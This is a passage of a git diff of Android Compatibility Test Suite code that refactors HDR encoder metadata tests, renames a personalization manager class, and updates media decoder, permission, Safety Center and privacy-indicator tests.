IOException, InterruptedException { + validateHDRInfo(mHDRStaticInfoStream, mHDRStaticInfoContainer, mHDRDynamicInfoStream, + mHDRDynamicInfoContainer); } } diff --git a/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java b/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java index 26c6eb55920..66916e52df8 100644 --- a/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java +++ b/tests/media/src/android/mediav2/cts/EncoderHDRInfoTest.java @@ -21,84 +21,59 @@ import android.media.MediaCodecList; import android.media.MediaFormat; import android.media.MediaMuxer; import android.os.Build; -import android.os.Bundle; +import android.util.Log; import androidx.test.filters.SdkSuppress; import androidx.test.filters.SmallTest; +import com.android.compatibility.common.util.CddTest; + +import org.junit.After; import org.junit.Assume; import org.junit.Test; import org.junit.runner.RunWith; import org.junit.runners.Parameterized; -import java.io.File; import java.io.IOException; import java.nio.ByteBuffer; import java.util.ArrayList; import java.util.Arrays; import java.util.Collection; +import java.util.Collections; import java.util.List; +import java.util.Map; import static android.media.MediaCodecInfo.CodecCapabilities.COLOR_FormatYUVP010; -import static android.media.MediaCodecInfo.CodecProfileLevel.*; import static org.junit.Assert.assertNotNull; import static org.junit.Assert.assertTrue; /** - * Test to validate hdr static and dynamic metadata in encoders + * HDR10 Metadata is an aid for a display device to show the content in an optimal manner. It + * contains the HDR content and mastering device properties that are used by the display device + * to map the content according to its own color gamut and peak brightness. This information is + * part of the elementary stream. Generally this information is placed at scene change intervals + * or even at every frame level. If the encoder is configured with hdr info, then it is + * expected to place this information in the elementary stream as-is. This test validates the + * same. The test feeds per-frame or per-scene info at various points and expects the encoder + * to place the hdr info in the elementary stream at exactly those points + * + * Restrict hdr info test for Android T and above */ @RunWith(Parameterized.class) // P010 support was added in Android T, hence limit the following tests to Android T and above @SdkSuppress(minSdkVersion = Build.VERSION_CODES.TIRAMISU, codeName = "Tiramisu") -public class EncoderHDRInfoTest extends CodecEncoderTestBase { +public class EncoderHDRInfoTest extends HDREncoderTestBase { private static final String LOG_TAG = EncoderHDRInfoTest.class.getSimpleName(); - private MediaMuxer mMuxer; - private int mTrackID = -1; - static final ArrayList<String> mCheckESList = new ArrayList<>(); - - static { - mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AV1); - mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_AVC); - mCheckESList.add(MediaFormat.MIMETYPE_VIDEO_HEVC); - } + private String mHDRStaticInfo; + private Map<Integer, String> mHDRDynamicInfo; - public EncoderHDRInfoTest(String encoderName, String mediaType, int bitrate, int width, - int height, boolean testDynamicMetadata) { - super(encoderName, mediaType, new int[]{bitrate}, new int[]{width}, new int[]{height}); - mTestDynamicMetadata = testDynamicMetadata; - } - - void enqueueInput(int bufferIndex) { - if(mTestDynamicMetadata){ - final Bundle params = new Bundle(); - byte[] info = loadByteArrayFromString(HDR_DYNAMIC_INFO[mInputCount]); - params.putByteArray(MediaFormat.KEY_HDR10_PLUS_INFO, info); - mCodec.setParameters(params); - if (mInputCount >= HDR_DYNAMIC_INFO.length) { - mSawInputEOS = true; - } - } - super.enqueueInput(bufferIndex); - } - void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) { - MediaFormat bufferFormat = mCodec.getOutputFormat(bufferIndex); - if (info.size > 0) { - ByteBuffer buf = mCodec.getOutputBuffer(bufferIndex); - if (mMuxer != null) { - if (mTrackID == -1) { - mTrackID = mMuxer.addTrack(bufferFormat); - mMuxer.start(); - } - mMuxer.writeSampleData(mTrackID, buf, info); - } - } - super.dequeueOutput(bufferIndex, info); - // verify if the out fmt contains HDR Dynamic metadata as expected - if (mTestDynamicMetadata && mOutputCount > 0) { - validateHDRDynamicMetaData(bufferFormat, - ByteBuffer.wrap(loadByteArrayFromString(HDR_DYNAMIC_INFO[mOutputCount - 1]))); - } + public EncoderHDRInfoTest(String encoderName, String mediaType, int bitrate, + int width, int height, String HDRStaticInfo, + Map<Integer, String> HDRDynamicInfo) { + super(encoderName, mediaType, bitrate, width, height); + mHDRStaticInfo = HDRStaticInfo; + mHDRDynamicInfo = HDRDynamicInfo; } @Parameterized.Parameters(name = "{index}({0}_{1})") @@ -106,111 +81,28 @@ public class EncoderHDRInfoTest extends CodecEncoderTestBase { final boolean isEncoder = true; final boolean needAudio = false; final boolean needVideo = true; - - final List<Object[]> exhaustiveArgsList = Arrays.asList(new Object[][]{ - {MediaFormat.MIMETYPE_VIDEO_AV1, 512000, 352, 288, false}, - {MediaFormat.MIMETYPE_VIDEO_VP9, 512000, 352, 288, false}, - {MediaFormat.MIMETYPE_VIDEO_HEVC, 512000, 352, 288, false}, - - {MediaFormat.MIMETYPE_VIDEO_AV1, 512000, 352, 288, true}, - {MediaFormat.MIMETYPE_VIDEO_VP9, 512000, 352, 288, true}, - {MediaFormat.MIMETYPE_VIDEO_HEVC, 512000, 352, 288, true}, - }); + final String[] mediaTypes = new String[]{ + MediaFormat.MIMETYPE_VIDEO_AV1, + MediaFormat.MIMETYPE_VIDEO_HEVC, + MediaFormat.MIMETYPE_VIDEO_VP9 + }; + + final List<Object[]> exhaustiveArgsList = new ArrayList<>(); + for (String mediaType : mediaTypes) { + // mediaType, bitrate, width, height, hdrStaticInfo, hdrDynamicInfo + exhaustiveArgsList.add(new Object[]{mediaType, 512000, 352, 288, HDR_STATIC_INFO, + null}); + exhaustiveArgsList.add(new Object[]{mediaType, 512000, 352, 288, null, + HDR_DYNAMIC_INFO}); + } return prepareParamList(exhaustiveArgsList, isEncoder, needAudio, needVideo, false); } @SmallTest @Test(timeout = PER_TEST_TIMEOUT_SMALL_TEST_MS) - public void testHDRMetadata() throws IOException, InterruptedException { - int profile; - setUpParams(1); - MediaFormat format = mFormats.get(0); - final ByteBuffer hdrStaticInfo = ByteBuffer.wrap(loadByteArrayFromString(HDR_STATIC_INFO)); - if (mTestDynamicMetadata) { - profile = mProfileHdr10PlusMap.getOrDefault(mMime, new int[]{-1})[0]; - } else { - profile = mProfileHdr10Map.getOrDefault(mMime, new int[]{-1})[0]; - } - format.setInteger(MediaFormat.KEY_PROFILE, profile); - format.setInteger(MediaFormat.KEY_COLOR_FORMAT, COLOR_FormatYUVP010); - format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED); - format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT2020); - format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_ST2084); - format.setByteBuffer(MediaFormat.KEY_HDR_STATIC_INFO, hdrStaticInfo); - mFormats.clear(); - mFormats.add(format); - Assume.assumeTrue(mCodecName + " does not support this HDR profile", - areFormatsSupported(mCodecName, mMime, mFormats)); - Assume.assumeTrue(mCodecName + " does not support color format COLOR_FormatYUVP010", - hasSupportForColorFormat(mCodecName, mMime, COLOR_FormatYUVP010)); - mBytesPerSample = 2; - setUpSource(INPUT_VIDEO_FILE_HBD); - mOutputBuff = new OutputManager(); - mCodec = MediaCodec.createByCodecName(mCodecName); - mOutputBuff.reset(); - String log = String.format("format: %s \n codec: %s:: ", format, mCodecName); - File tmpFile; - int muxerFormat; - if (mMime.equals(MediaFormat.MIMETYPE_VIDEO_VP9)) { - muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_WEBM; - tmpFile = File.createTempFile("tmp10bit", ".webm"); - } else { - muxerFormat = MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4; - tmpFile = File.createTempFile("tmp10bit", ".mp4"); - } - mMuxer = new MediaMuxer(tmpFile.getAbsolutePath(), muxerFormat); - configureCodec(format, true, true, true); - mCodec.start(); - doWork(4); - queueEOS(); - waitForAllOutputs(); - if (mTrackID != -1) { - mMuxer.stop(); - mTrackID = -1; - } - if (mMuxer != null) { - mMuxer.release(); - mMuxer = null; - } - assertTrue(log + "unexpected error", !mAsyncHandle.hasSeenError()); - assertTrue(log + "no input sent", 0 != mInputCount); - assertTrue(log + "output received", 0 != mOutputCount); - - MediaFormat fmt = mCodec.getOutputFormat(); - mCodec.stop(); - mCodec.release(); - - // verify if the out fmt contains HDR Static metadata as expected - validateHDRStaticMetaData(fmt, hdrStaticInfo); - - // verify if the muxed file contains HDR metadata as expected - MediaCodecList codecList = new MediaCodecList(MediaCodecList.REGULAR_CODECS); - String decoder = codecList.findDecoderForFormat(format); - assertNotNull("Device advertises support for encoding " + format.toString() + - " but not decoding it", decoder); - CodecDecoderTestBase cdtb = - new CodecDecoderTestBase(decoder, mMime, tmpFile.getAbsolutePath()); - String parent = tmpFile.getParent(); - if (parent != null) parent += File.separator; - else parent = ""; - cdtb.validateHDRStaticMetaData(parent, tmpFile.getName(), hdrStaticInfo, false); - if (mTestDynamicMetadata) { - cdtb.validateHDRDynamicMetaData(parent, tmpFile.getName(), false); - } - - // if HDR static metadata can also be signalled via elementary stream then verify if - // the elementary stream contains HDR static data as expected - if (mCheckESList.contains(mMime)) { - cdtb.validateHDRStaticMetaData(parent, tmpFile.getName(), hdrStaticInfo, true); - - // since HDR static metadata is signalled via elementary stream then verify if - // the elementary stream contains HDR static data as expected - if (mTestDynamicMetadata) { - cdtb.validateHDRDynamicMetaData(parent, tmpFile.getName(), true); - } - } - - tmpFile.delete(); + @CddTest(requirements = {"5.12/C-6-4"}) + public void testHDRInfo() throws IOException, InterruptedException { + validateHDRInfo(mHDRStaticInfo, mHDRDynamicInfo); } } diff --git a/tests/ondevicepersonalization/src/android/ondevicepersonalization/cts/OnDevicePersonalizationServiceTest.java b/tests/ondevicepersonalization/src/android/ondevicepersonalization/cts/OnDevicePersonalizationServiceTest.java index 234a0cd1047..a0467a2f692 100644 --- a/tests/ondevicepersonalization/src/android/ondevicepersonalization/cts/OnDevicePersonalizationServiceTest.java +++ b/tests/ondevicepersonalization/src/android/ondevicepersonalization/cts/OnDevicePersonalizationServiceTest.java @@ -19,7 +19,7 @@ package android.ondevicepersonalization.cts; import static org.junit.Assert.assertEquals; import android.content.Context; -import android.ondevicepersonalization.OnDevicePersonalizationManaging; +import android.ondevicepersonalization.OnDevicePersonalizationManager; import androidx.test.core.app.ApplicationProvider; @@ -29,17 +29,17 @@ import org.junit.runner.RunWith; import org.junit.runners.JUnit4; /** - * Test of {@link OnDevicePersonalizationManaging} + * Test of {@link OnDevicePersonalizationManager} */ @RunWith(JUnit4.class) public class OnDevicePersonalizationServiceTest { private Context mContext; - private OnDevicePersonalizationManaging mService; + private OnDevicePersonalizationManager mService; @Before public void setup() throws Exception { mContext = ApplicationProvider.getApplicationContext(); - mService = mContext.getSystemService(OnDevicePersonalizationManaging.class); + mService = mContext.getSystemService(OnDevicePersonalizationManager.class); } @Test diff --git a/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java b/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java index ebbfd30bf8f..ceb98350c06 100644 --- a/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java +++ b/tests/tests/hardware/src/android/hardware/cts/DataSpaceTest.java @@ -37,11 +37,14 @@ import androidx.test.annotation.UiThreadTest; import androidx.test.ext.junit.runners.AndroidJUnit4; import androidx.test.filters.SmallTest; +import com.android.compatibility.common.util.ApiTest; + import org.junit.After; import org.junit.Before; import org.junit.Test; import org.junit.runner.RunWith; +@ApiTest(apis = {"android.hardware.DataSpace#NamedDataSpace"}) @RunWith(AndroidJUnit4.class) @SmallTest public class DataSpaceTest { @@ -196,9 +199,10 @@ public class DataSpaceTest { } } + @ApiTest(apis = {"android.hardware.DataSpace#DATASPACE_JFIF"}) @UiThreadTest @Test - public void getDataSpaceWithFormatYUV420_888() { + public void getDataSpaceWithFormatYV12() { mTex = new int[1]; glGenTextures(1, mTex, 0); @@ -208,7 +212,7 @@ public class DataSpaceTest { mSurface = new Surface(mSurfaceTexture); mWriter = new ImageWriter.Builder(mSurface) - .setImageFormat(ImageFormat.YUV_420_888) + .setImageFormat(ImageFormat.YV12) .build(); Image inputImage = null; @@ -218,7 +222,7 @@ public class DataSpaceTest { mSurfaceTexture.updateTexImage(); - // test default dataspace value of ImageFormat.YUV_420_888 format. + // test default dataspace value of ImageFormat.YV12 format. assertEquals(DataSpace.DATASPACE_JFIF, mSurfaceTexture.getDataSpace()); } finally { if (inputImage != null) { diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java index b97c903997c..d26c45ffd33 100644 --- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java +++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecodeAccuracyTestBase.java @@ -16,6 +16,7 @@ package android.media.decoder.cts; import static org.junit.Assert.assertNotNull; +import static org.junit.Assume.assumeTrue; import android.annotation.SuppressLint; import android.annotation.TargetApi; @@ -66,6 +67,7 @@ import com.android.compatibility.common.util.ApiLevelUtil; import com.android.compatibility.common.util.MediaUtils; import org.junit.After; +import org.junit.Assume; import org.junit.Before; import org.junit.Rule; @@ -214,6 +216,8 @@ public class DecodeAccuracyTestBase { return false; } configureVideoFormat(mediaFormat, videoFormat); + Assume.assumeTrue("Decoder " + codecName + " doesn't support format " + mediaFormat, + MediaUtils.supports(codecName, mediaFormat)); setRenderToSurface(surface != null); return createDecoder(mediaFormat) && configureDecoder(surface, mediaFormat); } diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java index 0857809211e..af4e75a5383 100644 --- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java +++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java @@ -37,6 +37,7 @@ import android.util.Log; import androidx.test.InstrumentationRegistry; import com.android.compatibility.common.util.ApiLevelUtil; +import com.android.compatibility.common.util.CddTest; import com.android.compatibility.common.util.MediaUtils; import org.junit.Before; @@ -56,7 +57,7 @@ public class DecoderTestAacFormat { ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R); private static final boolean sIsAtLeastT = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU); - + private static final String MIMETYPE_AAC = MediaFormat.MIMETYPE_AUDIO_AAC; @Before public void setUp() throws Exception { final Instrumentation inst = InstrumentationRegistry.getInstrumentation(); @@ -67,6 +68,7 @@ public class DecoderTestAacFormat { * Verify downmixing to stereo at decoding of MPEG-4 HE-AAC 5.0 and 5.1 channel streams */ @Test + @CddTest(requirements = {"5.1.2/C-2-1", "5.1.2/C-7-1", "5.1.2/C-7-2"}) public void testHeAacM4aMultichannelDownmix() throws Exception { Log.i(TAG, "START testDecodeHeAacMcM4a"); @@ -101,7 +103,7 @@ public class DecoderTestAacFormat { assertEquals("Number of channels differs for codec:" + codecName + " when downmixing with KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT", 2, aacDownmixParams.getNumChannels()); - if (sIsAtLeastT) { + if (sIsAtLeastT && DecoderTest.isDefaultCodec(codecName, MIMETYPE_AAC)) { // KEY_CHANNEL_MASK expected to work starting with T assertEquals("Wrong channel mask with KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT", AudioFormat.CHANNEL_OUT_STEREO, @@ -168,7 +170,7 @@ public class DecoderTestAacFormat { assertEquals("wrong number of tracks", 1, extractor.getTrackCount()); MediaFormat format = extractor.getTrackFormat(0); String mime = format.getString(MediaFormat.KEY_MIME); - assertTrue("not an audio file", mime.startsWith("audio/")); + assertTrue("not an aac audio file", mime.equals(MIMETYPE_AAC)); MediaCodec decoder; if (decoderName == null) { @@ -276,7 +278,7 @@ public class DecoderTestAacFormat { } catch (NullPointerException e) { fail("KEY_SAMPLE_RATE not found on output format"); } - if (sIsAtLeastT) { + if (sIsAtLeastT && DecoderTest.isDefaultCodec(decoderName, MIMETYPE_AAC)) { try { audioParams.setChannelMask( outputFormat.getInteger(MediaFormat.KEY_CHANNEL_MASK)); diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java b/tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java index f5e3e0d7958..9b98fede1bd 100644 --- a/tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java +++ b/tests/tests/media/decoder/src/android/media/decoder/cts/NativeDecoderTest.java @@ -129,81 +129,6 @@ public class NativeDecoderTest extends MediaTestBase { return new AssetFileDescriptor(parcelFD, 0, parcelFD.getStatSize()); } - private static int[] getSampleSizes(String path, String[] keys, String[] values) - throws IOException { - MediaExtractor ex = new MediaExtractor(); - if (keys == null || values == null) { - ex.setDataSource(path); - } else { - Map<String, String> headers = null; - int numheaders = Math.min(keys.length, values.length); - for (int i = 0; i < numheaders; i++) { - if (headers == null) { - headers = new HashMap<>(); - } - String key = keys[i]; - String value = values[i]; - headers.put(key, value); - } - ex.setDataSource(path, headers); - } - - return getSampleSizes(ex); - } - - private static int[] getSampleSizes(FileDescriptor fd, long offset, long size) - throws IOException { - MediaExtractor ex = new MediaExtractor(); - ex.setDataSource(fd, offset, size); - return getSampleSizes(ex); - } - - private static int[] getSampleSizes(MediaExtractor ex) { - ArrayList<Integer> foo = new ArrayList<Integer>(); - ByteBuffer buf = ByteBuffer.allocate(1024*1024); - int numtracks = ex.getTrackCount(); - assertTrue("no tracks", numtracks > 0); - foo.add(numtracks); - for (int i = 0; i < numtracks; i++) { - MediaFormat format = ex.getTrackFormat(i); - String mime = format.getString(MediaFormat.KEY_MIME); - if (mime.startsWith("audio/")) { - foo.add(0); - foo.add(format.getInteger(MediaFormat.KEY_SAMPLE_RATE)); - foo.add(format.getInteger(MediaFormat.KEY_CHANNEL_COUNT)); - foo.add((int)format.getLong(MediaFormat.KEY_DURATION)); - } else if (mime.startsWith("video/")) { - foo.add(1); - foo.add(format.getInteger(MediaFormat.KEY_WIDTH)); - foo.add(format.getInteger(MediaFormat.KEY_HEIGHT)); - foo.add((int)format.getLong(MediaFormat.KEY_DURATION)); - } else { - fail("unexpected mime type: " + mime); - } - ex.selectTrack(i); - } - while(true) { - int n = ex.readSampleData(buf, 0); - if (n < 0) { - break; - } - foo.add(n); - foo.add(ex.getSampleTrackIndex()); - foo.add(ex.getSampleFlags()); - foo.add((int)ex.getSampleTime()); // just the low bits should be OK - byte[] foobar = new byte[n]; - buf.get(foobar, 0, n); - foo.add(adler32(foobar)); - ex.advance(); - } - - int [] ret = new int[foo.size()]; - for (int i = 0; i < ret.length; i++) { - ret[i] = foo.get(i); - } - return ret; - } - @Test public void testDataSource() throws Exception { int testsRun = testDecoder( diff --git a/tests/tests/media/misc/AndroidTest.xml b/tests/tests/media/misc/AndroidTest.xml index 4a2ffaf9d33..1facb8d3933 100644 --- a/tests/tests/media/misc/AndroidTest.xml +++ b/tests/tests/media/misc/AndroidTest.xml @@ -40,7 +40,7 @@ </target_preparer> <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer"> <option name="push-all" value="true" /> - <option name="media-folder-name" value="CtsMediaMiscTestCases-1.0" /> + <option name="media-folder-name" value="CtsMediaMiscTestCases-2.0" /> <option name="dynamic-config-module" value="CtsMediaMiscTestCases" /> </target_preparer> <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller"> diff --git a/tests/tests/media/misc/DynamicConfig.xml b/tests/tests/media/misc/DynamicConfig.xml index 09e5fbaf95f..51e05bbba75 100644 --- a/tests/tests/media/misc/DynamicConfig.xml +++ b/tests/tests/media/misc/DynamicConfig.xml @@ -15,6 +15,6 @@ <dynamicConfig> <entry key="media_files_url"> - <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/misc/CtsMediaMiscTestCases-1.0.zip</value> + <value>https://storage.googleapis.com/android_media/cts/tests/tests/media/misc/CtsMediaMiscTestCases-2.0.zip</value> </entry> </dynamicConfig> diff --git a/tests/tests/media/misc/copy_media.sh b/tests/tests/media/misc/copy_media.sh index 96f5a499d3b..27ba1e73422 100755 --- a/tests/tests/media/misc/copy_media.sh +++ b/tests/tests/media/misc/copy_media.sh @@ -17,4 +17,4 @@ [ -z "$MEDIA_ROOT_DIR" ] && MEDIA_ROOT_DIR=$(dirname $0)/.. source $MEDIA_ROOT_DIR/common/copy_media_utils.sh get_adb_options "$@" -copy_media "misc" "CtsMediaMiscTestCases-1.0" +copy_media "misc" "CtsMediaMiscTestCases-2.0" diff --git a/tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java b/tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java index 0c392295e04..dbb60353267 100644 --- a/tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java +++ b/tests/tests/media/misc/src/android/media/misc/cts/WorkDir.java @@ -20,6 +20,6 @@ import android.media.cts.WorkDirBase; class WorkDir extends WorkDirBase { public static final String getMediaDirString() { - return getMediaDirString("CtsMediaMiscTestCases-1.0"); + return getMediaDirString("CtsMediaMiscTestCases-2.0"); } } diff --git a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java index 81c0d89b9d2..86c6912796c 100644 --- a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java +++ b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerFlakyNetworkTest.java @@ -75,6 +75,7 @@ public class MediaPlayerFlakyNetworkTest extends MediaPlayerTestBase { private CtsTestServer mServer; @Before + @Override public void setUp() throws Throwable { super.setUp(); } diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt index 1d81e4405fb..fdfda50bda9 100644 --- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt +++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt @@ -670,9 +670,9 @@ class AutoRevokeTest { val parent = waitFindObject( By.clickable(true) .hasDescendant(By.textStartsWith("Remove permissions")) - .hasDescendant(By.clazz(Switch::class.java.name)) + .hasDescendant(By.checkable(true)) ) - return parent.findObject(By.clazz(Switch::class.java.name)) + return parent.findObject(By.checkable(true)) } private fun waitForIdle() { diff --git a/tests/tests/permission/src/android/permission/cts/AccessibilityPrivacySourceTest.kt b/tests/tests/permission/src/android/permission/cts/AccessibilityPrivacySourceTest.kt index 28d58d65076..513e1dfebf4 100644 --- a/tests/tests/permission/src/android/permission/cts/AccessibilityPrivacySourceTest.kt +++ b/tests/tests/permission/src/android/permission/cts/AccessibilityPrivacySourceTest.kt @@ -33,6 +33,7 @@ import android.permission.cts.NotificationListenerUtils.getNotification import android.permission.cts.SafetyCenterUtils.assertSafetyCenterIssueDoesNotExist import android.permission.cts.SafetyCenterUtils.assertSafetyCenterIssueExist import android.permission.cts.SafetyCenterUtils.assertSafetyCenterStarted +import android.permission.cts.SafetyCenterUtils.deleteDeviceConfigPrivacyProperty import android.permission.cts.SafetyCenterUtils.deviceSupportsSafetyCenter import android.permission.cts.SafetyCenterUtils.setDeviceConfigPrivacyProperty import android.platform.test.annotations.AppModeFull @@ -114,6 +115,28 @@ class AccessibilityPrivacySourceTest { } @Test + fun testJobSendsNotificationOnEnable() { + mAccessibilityServiceRule.enableService() + runJobAndWaitUntilCompleted() + assertNotificationExist(permissionControllerPackage, ACCESSIBILITY_NOTIFICATION_ID) + + setDeviceConfigPrivacyProperty(ACCESSIBILITY_LISTENER_ENABLED, true.toString()) + cancelNotification(permissionControllerPackage, ACCESSIBILITY_NOTIFICATION_ID) + InstrumentedAccessibilityService.disableAllServices() + setDeviceConfigPrivacyProperty(ACCESSIBILITY_LISTENER_ENABLED, false.toString()) + setDeviceConfigPrivacyProperty(ACCESSIBILITY_JOB_INTERVAL_MILLIS, "0") + + // enable service again and verify a notification + try { + mAccessibilityServiceRule.enableService() + runJobAndWaitUntilCompleted() + assertNotificationExist(permissionControllerPackage, ACCESSIBILITY_NOTIFICATION_ID) + } finally { + deleteDeviceConfigPrivacyProperty(ACCESSIBILITY_JOB_INTERVAL_MILLIS) + } + } + + @Test fun testJobSendsIssuesToSafetyCenter() { mAccessibilityServiceRule.enableService() runJobAndWaitUntilCompleted() @@ -294,6 +317,7 @@ class AccessibilityPrivacySourceTest { private const val ACCESSIBILITY_SOURCE_ENABLED = "sc_accessibility_source_enabled" private const val SAFETY_CENTER_ENABLED = "safety_center_is_enabled" private const val ACCESSIBILITY_LISTENER_ENABLED = "sc_accessibility_listener_enabled" + private const val ACCESSIBILITY_JOB_INTERVAL_MILLIS = "sc_accessibility_job_interval_millis" private const val ACCESSIBILITY_JOB_ID = 6 private const val ACCESSIBILITY_NOTIFICATION_ID = 4 diff --git a/tests/tests/permission/src/android/permission/cts/BaseNotificationListenerCheckTest.java b/tests/tests/permission/src/android/permission/cts/BaseNotificationListenerCheckTest.java index 9daeff2af4a..f88b7ecbbaa 100644 --- a/tests/tests/permission/src/android/permission/cts/BaseNotificationListenerCheckTest.java +++ b/tests/tests/permission/src/android/permission/cts/BaseNotificationListenerCheckTest.java @@ -104,7 +104,7 @@ public class BaseNotificationListenerCheckTest { private static final String PROPERTY_NOTIFICATION_LISTENER_CHECK_INTERVAL_MILLIS = "notification_listener_check_interval_millis"; - private static final Long OVERRIDE_NOTIFICATION_LISTENER_CHECK_INTERVAL_MILLIS = + protected static final Long OVERRIDE_NOTIFICATION_LISTENER_CHECK_INTERVAL_MILLIS = SECONDS.toMillis(1); private static final String PROPERTY_JOB_SCHEDULER_MAX_JOB_PER_RATE_LIMIT_WINDOW = diff --git a/tests/tests/permission/src/android/permission/cts/NotificationListenerCheckTest.java b/tests/tests/permission/src/android/permission/cts/NotificationListenerCheckTest.java index 3ee161f67e0..88006b999a7 100644 --- a/tests/tests/permission/src/android/permission/cts/NotificationListenerCheckTest.java +++ b/tests/tests/permission/src/android/permission/cts/NotificationListenerCheckTest.java @@ -151,6 +151,25 @@ public class NotificationListenerCheckTest extends BaseNotificationListenerCheck } @Test + public void notificationIsShownAgainAfterDisableAndReenableAppNotificationListener() + throws Throwable { + runNotificationListenerCheck(); + + eventually(() -> assertNotNull(getNotification(true)), UNEXPECTED_TIMEOUT_MILLIS); + + // Disallow NLS, and run NLS check job. This should clear NLS off notified list + disallowTestAppNotificationListenerService(); + runNotificationListenerCheck(); + + // Re-allow NLS, and run NLS check job. This work now that it's cleared NLS off notified + // list + allowTestAppNotificationListenerService(); + runNotificationListenerCheck(); + + eventually(() -> assertNotNull(getNotification(true)), UNEXPECTED_TIMEOUT_MILLIS); + } + + @Test public void removeNotificationOnUninstall() throws Throwable { runNotificationListenerCheck(); diff --git a/tests/tests/permission/src/android/permission/cts/SafetyCenterUtils.kt b/tests/tests/permission/src/android/permission/cts/SafetyCenterUtils.kt index 931ecd1bc6b..7514079bfc3 100644 --- a/tests/tests/permission/src/android/permission/cts/SafetyCenterUtils.kt +++ b/tests/tests/permission/src/android/permission/cts/SafetyCenterUtils.kt @@ -88,6 +88,16 @@ object SafetyCenterUtils { } @JvmStatic + fun deleteDeviceConfigPrivacyProperty( + propertyName: String, + uiAutomation: UiAutomation = instrumentation.uiAutomation + ) { + runWithShellPermissionIdentity(uiAutomation) { + DeviceConfig.deleteProperty(DeviceConfig.NAMESPACE_PRIVACY, propertyName) + } + } + + @JvmStatic private fun getSafetyCenterIssues( automation: UiAutomation = instrumentation.uiAutomation ): List<SafetyCenterIssue> { diff --git a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java index edfcf3a9291..ca4794dbe0c 100644 --- a/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java +++ b/tests/tests/permission2/src/android/permission2/cts/PermissionPolicyTest.java @@ -71,6 +71,9 @@ public class PermissionPolicyTest { private static final String MANAGE_COMPANION_DEVICES_PERMISSION = "android.permission.MANAGE_COMPANION_DEVICES"; + private static final String SET_UNRESTRICTED_GESTURE_EXCLUSION + = "android.permission.SET_UNRESTRICTED_GESTURE_EXCLUSION"; + private static final String LOG_TAG = "PermissionProtectionTest"; private static final String PLATFORM_PACKAGE_NAME = "android"; @@ -475,6 +478,8 @@ public class PermissionPolicyTest { return parseDate(SECURITY_PATCH).before(HIDE_NON_SYSTEM_OVERLAY_WINDOWS_PATCH_DATE); case MANAGE_COMPANION_DEVICES_PERMISSION: return parseDate(SECURITY_PATCH).before(MANAGE_COMPANION_DEVICES_PATCH_DATE); + case SET_UNRESTRICTED_GESTURE_EXCLUSION: + return true; default: return false; } diff --git a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt index 872a243ce2e..d5bd49bdf37 100644 --- a/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt +++ b/tests/tests/permission4/src/android/permission4/cts/CameraMicIndicatorsPermissionTest.kt @@ -297,7 +297,7 @@ class CameraMicIndicatorsPermissionTest { // indicator uiDevice.openQuickSettings() assertPrivacyChipAndIndicatorsPresent( - useMic || useHotword, + useMic, useCamera, chainUsage, safetyCenterEnabled @@ -392,11 +392,13 @@ class CameraMicIndicatorsPermissionTest { chainUsage: Boolean, safetyCenterEnabled: Boolean = false ) { - // Ensure the privacy chip is present - eventually { - val privacyChip = uiDevice.findObject(UiSelector().resourceId(PRIVACY_CHIP_ID)) - assertTrue("view with id $PRIVACY_CHIP_ID not found", privacyChip.exists()) - privacyChip.click() + // Ensure the privacy chip is present (or not) + val chipFound = isChipPresent() + if (useMic || useCamera) { + assertTrue("Did not find chip", chipFound) + } else { // hotword + assertFalse("Found chip, but did not expect to", chipFound) + return } eventually { @@ -470,6 